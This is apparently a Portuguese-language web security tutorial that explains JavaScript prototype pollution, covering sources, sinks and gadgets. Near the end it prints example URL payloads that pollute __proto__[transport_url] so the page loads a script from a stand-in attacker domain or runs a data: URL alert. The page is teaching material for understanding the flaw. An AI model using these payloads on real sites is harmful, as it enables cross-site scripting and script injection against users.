> For the complete documentation index, see [llms.txt](https://stacked-rwx.gitbook.io/public/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://stacked-rwx.gitbook.io/public/web-security/o-que-e-o-prototype-pollution.md).

# O que é o Prototype Pollution?

## Prototype Pollution <a href="#id-887a" id="id-887a"></a>

O Prototype Pollution é uma vulnerabilidade encontrada no JavaScript, que permite o atacante adicionar novas propriedades arbitrárias a um objeto global da aplicação, que pode ser herdado de objetos de dentro da mesma.

Diversas vulnerabilidades podem surgir caso a aplicação, de forma insegura, manipule as novas propriedades adicionadas pelo atacante. No client-side, normalmente é encontrados vulnerabilidades como DOM XSS, enquanto no server-side pode escalar para um RCE.

## Como um Prototype Pollution funciona? <a href="#id-8222" id="id-8222"></a>

Antes de tudo, vamos entender o que é um **Object** em JavaScript. Um objeto em JavaScript é uma estrutura de dados que representa um conjunto de propriedades e atributos. Essas propriedades são um conjunto de chave e valor e podem conter diversos tipos de valores, incluindo números, strings, funções e até mesmo outros objetos.

Exemplo:

<figure><img src="/files/Iamv6qE5VD8BaNJlQQe0" alt=""><figcaption><p>Objeto em JavaScript</p></figcaption></figure>

* Esse código cria um objeto chamado **Carro** com duas propriedades: “**motor**” e “**marca**”. Cada propriedade desse objeto tem um valor associado a ela.

<figure><img src="/files/VFm5lYADhHPWKD1tuMdI" alt=""><figcaption><p>Prototype Object</p></figcaption></figure>

* **\[\[Prototype]]: Objec**t é um link para um protótipo do objeto. Em JavaScript, objetos podem herdar (já estão pré-definidas) propriedades e métodos de um prototype. O prototype padrão é **Object**, que é a base de todos os objetos JavaScript.

A partir de um objeto que esteja sendo tratado pela aplicação de forma insegura e o usuário possa modificar sua propriedade **\_\_proto\_\_** ou acessar alguma outra que, de forma recursiva, chegue a propriedade **\_\_proto\_\_**, podemos localizar um Prototype Pollution.

A propriedade **\_\_proto\_\_** foi adicionada no **EcmaScript 6** (**ES6**) que é uma propriedade de acesso (uma função **getter** e uma **setter**) que expõe o interno **\[\[Prototype]]** de um objeto o qual é acessado. (Resumindo, é como se fosse um alias no **Object.prototype**).

## Fontes do Prototype Pollution <a href="#f37e" id="f37e"></a>

Fontes do Prototype Pollution são qualquer entrada controlável pelo usuário que permite adicionar propriedades arbitrárias a objetos de prototype. As fontes mais comuns são as seguintes:

* O URL por meio de query ou fragment string (hash)
* JSON-based input
* Mensagens web

Vou dar um exemplo para cada uma dessas fontes, abaixo:

## Prototype Pollution via URL <a href="#id-0193" id="id-0193"></a>

Considere o URL seguinte:

url: [https://site.com/?\_\_proto\_\_\[propriedadeMaliciosa\]=payload](https://site.com/?__proto__%5BpropriedadeMaliciosa%5D=payload)

Quando um programa analisa a **query string** para extrair os pares de chave-valor, o **\_\_proto\_\_** pode ser interpretado como uma chave e **propriedadeMaliciosa** como o valor.

> Quando eu utilizo o termo “chave-valor”, eu estou dizendo que a chave é um identificador único que é usado para referenciar o valor associado a ela. O Valor é o dado ou informação associado à chave.
>
> Exemplo:

```javascript
var dicionario = {
 "palavra": "significado"
}
```

> “palavra” -> chave\
> “significado” -> valor

Em muitos cenários, esses pares de chave-valor da URL são fundidos (**merged**) em um objeto existente. A ideia equivocada é que o **\_\_proto\_\_** e o **propriedadeMaliciosa** seriam adicionados diretamente ao objeto de destino da seguinte forma:

```javascript
{ 
 propriedade1: 'carro', 
 propriedade2: 'moto', 
 __proto__: { 
  propriedadeMaliciosa: 'payload' 
  } 
}
```

No entanto, o problema é que o **\_\_proto\_\_** é tratado de maneira especial no JavaScript. Quando o valor **propriedadeMalicosa** é atribuído a **\_\_proto\_\_**, isso é interpretado como uma operação de obtenção (**getter**) no protótipo do objeto. Isso significa que **propriedadeMaliciosa** é adicionado ao protótipo do objeto, não ao objeto em si.

## Prototype Pollution via JSON input <a href="#be05" id="be05"></a>

O **JSON.parse()** é um método em JavaScript que converte uma representação de string JSON em um objeto JavaScript. Isso é comumente usado para analisar dados JSON e criar objetos JavaScript a partir deles.

Um atacante injeta um JSON malicioso que contém a chave **\_\_proto\_\_**, que é normalmente usada para representar o prototype de um objeto.

```javascript
"__proto__": { 
 "propriedadeMaliciosa": "payload" 
 } 
}
```

Quando esse JSON malicioso é passado para **JSON.parse()**, ele cria um objeto JavaScript com a estrutura especificada, incluindo a chave **\_\_proto\_\_**. Assim o resultado final será um objeto JavaScript idêntico a estrutura JSON acima.

> Mas Rafael, o que é o **JSON.parse()** e como ele funciona? O método **JSON.parse()** é usado para analisar (**ou fazer o parsing**) de uma string JSON e converter essa string em objeto JavaScript.
>
> **Entrada JSON:**\
> O método **JSON.parse()** recebe uma única string como seu argumento, que deve ser uma representação válida em formato JSON. Isso significa que a string deve seguir a sintaxe e as regras do formato JSON, que incluem uso de aspas duplas para chaves e strings, uso de colchetes para arrays e chaves para objetos, entre outras regras.
>
> **Processamento e conversão:**\
> O **JSON.parse()** analisa a string JSON, caractere por caractere, e cria um objeto JavaScript correspondente com base nas informações contidas na string.
>
> **Objeto JavaScript Resultante:**\
> O objeto JavaScript resultante é uma representação dos dados presentes na string JSON. Ele pode conter propriedades, objetos aninhados, arrays e valores simples, como números, strings e booleanos.
>
> Exemplo de uso do **JSON.parse():**

<figure><img src="/files/M7nNIC6QPzyGrYEEIgWT" alt=""><figcaption><p>Criando um Objeto JavaScript usando o JSON.parse()</p></figcaption></figure>

<figure><img src="/files/bg4dAaYlALTIPaqYGrhM" alt=""><figcaption></figcaption></figure>

Neste exemplo, o **JSON.parse()** converte a string em JSON em um objeto JavaScript, permitindo que você acesse os valores das propriedades como faria com qualquer outro objeto JavaScript.

## Prototype Pollution Sink <a href="#b75e" id="b75e"></a>

Prototype Pollution Sink se refere a um elemento no código JavaScript (**ou um elemento no Documento Object Model, DOM**) que pode ser acessado e manipulado por meio da chamada por meio de um ataque de prototype pollution.

Nesse contexto, sink é um ponto no código onde o atacante pode explorar o impacto do prototype pollution para executar código malicioso ou comandos no sistema.

## **Prototype Pollution Gadgets** <a href="#e199" id="e199"></a>

Um gadget é um componente do código da aplicação que fornece uma maneira de explorar uma vulnerabilidade de prototype pollution. É um elemento que pode ser usado para transformar a vulnerabilidade em um ataque real.

Um gadget deve ser utilizado pela aplicação de uma forma que seja considerada insegura. Isso significa que essa propriedade é passada para algum sink sem passar por filtragem ou sanitização adequada.

Se a propriedade já está definida diretamente no próprio objeto (**ou seja, não é uma propriedade herdada via prototype**), ela não pode ser um gadget. Isso ocorre porque a versão do objeto da propriedade tem precedência sobre qualquer versão maliciosa adicionada ao prototype. Portanto, o prototype pollution não afeta propriedades diretamente definidas no objeto.

Além disso, algumas aplicações robustas podem definir explicitamente o prototype do objeto como nulo (**null**), o que garante que o objeto não herde nenhuma propriedade do prototype.

## Exemplo de um Gadget de Prototype Pollution <a href="#ddea" id="ddea"></a>

Muitas bibliotecas JavaScript aceitam um objeto que os desenvolvedores podem usar para definir diferentes opções de configuração. O código da biblioteca verifica se o desenvolvedor adicionou explicitamente certas propriedades a este objeto e, se o fizer, ajusta a configuração de acordo. Se uma propriedade que representa uma opção específica não estiver presente, é comum que uma opção padrão predefinida seja usada em seu lugar.

Um exemplo simplificado pode ser assim:

<figure><img src="/files/xqnJOQPaBMSmOLw4dplp" alt=""><figcaption></figcaption></figure>

Agora, imagine que o código da biblioteca use esse \`transport\_url\` para adicionar uma referência a um script na página:

<figure><img src="/files/Sh03jSIFfSBJGQFSJm7T" alt=""><figcaption></figcaption></figure>

Se os desenvolvedores do site não tiverem definido uma propriedade **transport\_url** em seu objeto de configuração, isso se torna um possível ponto de ataque. Em casos em que um atacante consegue poluir o **Object.prototype** global com sua própria propriedade **transport\_url**, isso será herdado pelo objeto de configuração e, portanto, definido como o atributo **src** desse script para um domínio escolhido pelo atacante.

Se o prototype pode ser poluído por meio de uma query, por exemplo, o atacante só precisaria induzir a vítima a visitar uma URL especialmente criada para fazer com que seu navegador importe um arquivo JavaScript malicioso de um domínio controlado pelo atacante:

url: [https://site.com/?\_\_proto\_\_\[transport\_url\]=//site-malicioso.com](https://site.com/?__proto__%5Btransport_url%5D=%2F%2Fsite-malicioso.com)

Fornecendo um URL de dados (**data: URL**), um atacante também poderia incorporar diretamente uma carga XSS (**Cross-Site Scripting**) na sequência da query, da seguinte forma:

url: [https://site.com/?\_\_proto\_\_\[transport\_url\]=data:,alert(1);//](https://site.com/?__proto__%5Btransport_url%5D=data%3A%2Calert%281%29%3B%2F%2F)

Observe que as barras duplas (**//**) no exemplo final são usadas simplesmente para comentar o sufixo **/example.js** codificado no URL original.

<figure><img src="/files/0ZPhkPHh67Kbdc8Sj2Il" alt=""><figcaption></figcaption></figure>
